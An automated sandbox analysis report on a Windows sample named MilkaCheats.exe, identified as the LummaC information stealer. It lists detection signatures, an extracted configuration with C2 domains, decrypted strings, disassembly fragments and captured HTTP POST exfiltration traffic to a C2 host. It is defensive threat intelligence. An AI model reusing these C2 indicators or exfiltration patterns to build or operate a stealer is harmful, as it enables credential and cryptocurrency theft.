Edit tour

Windows Analysis Report
MilkaCheats.exe

Overview

General Information

Sample name:	MilkaCheats.exe
Analysis ID:	1543311
MD5:	906c60b268404ecda308e2692a3aaaf8
SHA1:	e5405c09314a48cf035806f1b0a4cddd89df04d5
SHA256:	91a240e27b2849592fea2a6f326afedfc77c60d480126f5f9c57653a889b3dcf
Tags:	exeuser-4k95m
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

MilkaCheats.exe (PID: 6232 cmdline: "C:\Users\user\Desktop\MilkaCheats.exe" MD5: 906C60B268404ECDA308E2692A3AAAF8)

MilkaCheats.exe (PID: 6428 cmdline: "C:\Users\user\Desktop\MilkaCheats.exe" MD5: 906C60B268404ECDA308E2692A3AAAF8)

WerFault.exe (PID: 4584 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6232 -s 232 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["presticitpo.store", "messejawu.store", "founpiuer.store", "scriptyprefej.store", "crisiwarny.store", "necklacedmny.store", "fadehairucw.store", "thumbystriw.store", "navygenerayk.store"], "Build id": "yau6Na--5574340625"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1726270504.0000000001342000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1768149959.0000000001342000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MilkaCheats.exe PID: 6428	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: MilkaCheats.exe PID: 6428	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MilkaCheats.exe PID: 6428	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T16:44:59.376608+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	172.67.170.64	443	TCP
2024-10-27T16:45:01.669879+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49732	172.67.170.64	443	TCP
2024-10-27T16:45:15.310166+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49748	172.67.170.64	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T16:44:59.376608+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	172.67.170.64	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T16:45:01.669879+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49732	172.67.170.64	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T16:45:09.623341+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49741	172.67.170.64	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T16:45:10.787252+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49743	172.67.170.64	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: MilkaCheats.exe

Avira: detected

Found malware configuration

Source: 1.2.MilkaCheats.exe.400000.1.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["presticitpo.store", "messejawu.store", "founpiuer.store", "scriptyprefej.store", "crisiwarny.store", "necklacedmny.store", "fadehairucw.store", "thumbystriw.store", "navygenerayk.store"], "Build id": "yau6Na--5574340625"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 94.1% probability

Machine Learning detection for sample

Source: MilkaCheats.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp	String decryptor: scriptyprefej.store
Source: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp	String decryptor: navygenerayk.store
Source: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp	String decryptor: founpiuer.store
Source: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp	String decryptor: necklacedmny.store
Source: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp	String decryptor: thumbystriw.store
Source: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp	String decryptor: fadehairucw.store
Source: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp	String decryptor: crisiwarny.store
Source: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp	String decryptor: messejawu.store
Source: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp	String decryptor: yau6Na--5574340625

Source: MilkaCheats.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49748 version: TLS 1.2

Source: MilkaCheats.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\MilkaCheats.exe

Code function: 0_2_000DB239 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_000DB239

Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\Desktop\MilkaCheats.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior

Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+6D44C02Ch]	0_2_0012E0A0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov word ptr [ebp+edx*4+00h], ax	0_2_000FA160
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+34h]	0_2_000FA160
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then jmp ecx	0_2_000FFAF3
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov word ptr [edx], bp	0_2_001102D5
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov word ptr [ecx], di	0_2_001102D5
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov esi, ecx	0_2_001302DC
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov dword ptr [esi+10h], edx	0_2_0011E2E9
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_0011E2E9
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_0011E2E9
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov edi, esi	0_2_0012A31A
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+ecx-14h]	0_2_0013231D
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then add ecx, eax	0_2_00118493
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-6Ch]	0_2_00118493
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx+38h]	0_2_0010C56B
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov ecx, dword ptr [0044DCFCh]	0_2_0012A590
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov ecx, dword ptr [0044DCFCh]	0_2_0012A582
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov dword ptr [esi+10h], edx	0_2_0011E5F3
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_0011E5F3
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_0011E5F3
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then jmp eax	0_2_0012C638
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then jmp ecx	0_2_00116672
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	0_2_001307A6
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov ebp, edx	0_2_001308F0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+58h]	0_2_00110930
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-42h]	0_2_000FCA12
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	0_2_00114AF0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_0011CBC0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax-3ED06EDAh]	0_2_0012AC12
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], B62B8D10h	0_2_0011AC52
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov byte ptr [eax], cl	0_2_0011EC6A
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov byte ptr [eax], cl	0_2_0011ECA6
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_000FCD19
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00114D50
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+6D44C030h]	0_2_00118F30
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 9ABDB589h	0_2_00118F30
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then and esi, 001FF800h	0_2_000F2FB0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+75E07B5Ch]	0_2_000FD030
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	0_2_00133050
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00127090
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then cmp byte ptr [esi+eax], 00000000h	0_2_0011D0F0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then jmp edx	0_2_000F7398
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0000008Ah]	0_2_000FB3A0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov dword ptr [eax+ebx], 30303030h	0_2_000EF410
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov dword ptr [eax+ebx], 20202020h	0_2_000EF410
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+edx]	0_2_0012D430
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov esi, dword ptr [esp+1Ch]	0_2_0012D430
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov edx, eax	0_2_001154F7
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+29352E8Dh]	0_2_00133740
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then jmp ecx	0_2_000FF8AF
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	0_2_000EF8B8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax]	0_2_00111AF7
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then jmp ecx	0_2_000FFAF8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov byte ptr [eax], cl	0_2_0011DB4A
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], B62B8D10h	0_2_0011BB8B
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov ebx, dword ptr [esp]	0_2_0011BB8B
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov edx, dword ptr [esi+64h]	0_2_0011FB8C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov edx, dword ptr [esi+64h]	0_2_0011FBC9
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	0_2_000F3CA0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then add edx, esi	0_2_00117D02
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov edx, eax	0_2_001154F7
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov ecx, eax	0_2_0011DDE0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then jmp ecx	0_2_00131E36
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 4x nop then mov dword ptr [esp+04h], ecx	0_2_0010DFB0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49732 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49732 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49741 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49743 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49748 -> 172.67.170.64:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: messejawu.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: navygenerayk.store

Source: Joe Sandbox View

IP Address: 172.67.170.64 172.67.170.64

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18168Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8789Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20442Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1288Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 584404Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: crisiwarny.store

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: messejawu.store
Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store

Source: MilkaCheats.exe, 00000001.00000003.1750036260.0000000003A01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: MilkaCheats.exe, 00000001.00000003.1750036260.0000000003A01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: MilkaCheats.exe, 00000001.00000003.1750036260.0000000003A01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: MilkaCheats.exe, 00000001.00000003.1750036260.0000000003A01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: MilkaCheats.exe, 00000001.00000003.1750036260.0000000003A01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: MilkaCheats.exe, 00000001.00000003.1750036260.0000000003A01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: MilkaCheats.exe, 00000001.00000003.1750036260.0000000003A01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: MilkaCheats.exe, 00000001.00000003.1750036260.0000000003A01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: MilkaCheats.exe, 00000001.00000003.1750036260.0000000003A01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: MilkaCheats.exe, 00000001.00000003.1750036260.0000000003A01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: MilkaCheats.exe, 00000001.00000003.1750036260.0000000003A01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MilkaCheats.exe, 00000001.00000003.1751292403.000000000136A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: MilkaCheats.exe, 00000001.00000003.1751292403.000000000136A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MilkaCheats.exe, 00000001.00000003.1751292403.000000000136A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: MilkaCheats.exe, 00000001.00000003.1751292403.000000000136A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: MilkaCheats.exe, 00000001.00000003.1847565217.00000000012E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/
Source: MilkaCheats.exe, 00000001.00000003.1802442318.000000000136C000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1835884206.000000000136C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/Bm
Source: MilkaCheats.exe, 00000001.00000002.1848284074.00000000012E4000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1847565217.00000000012E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/O
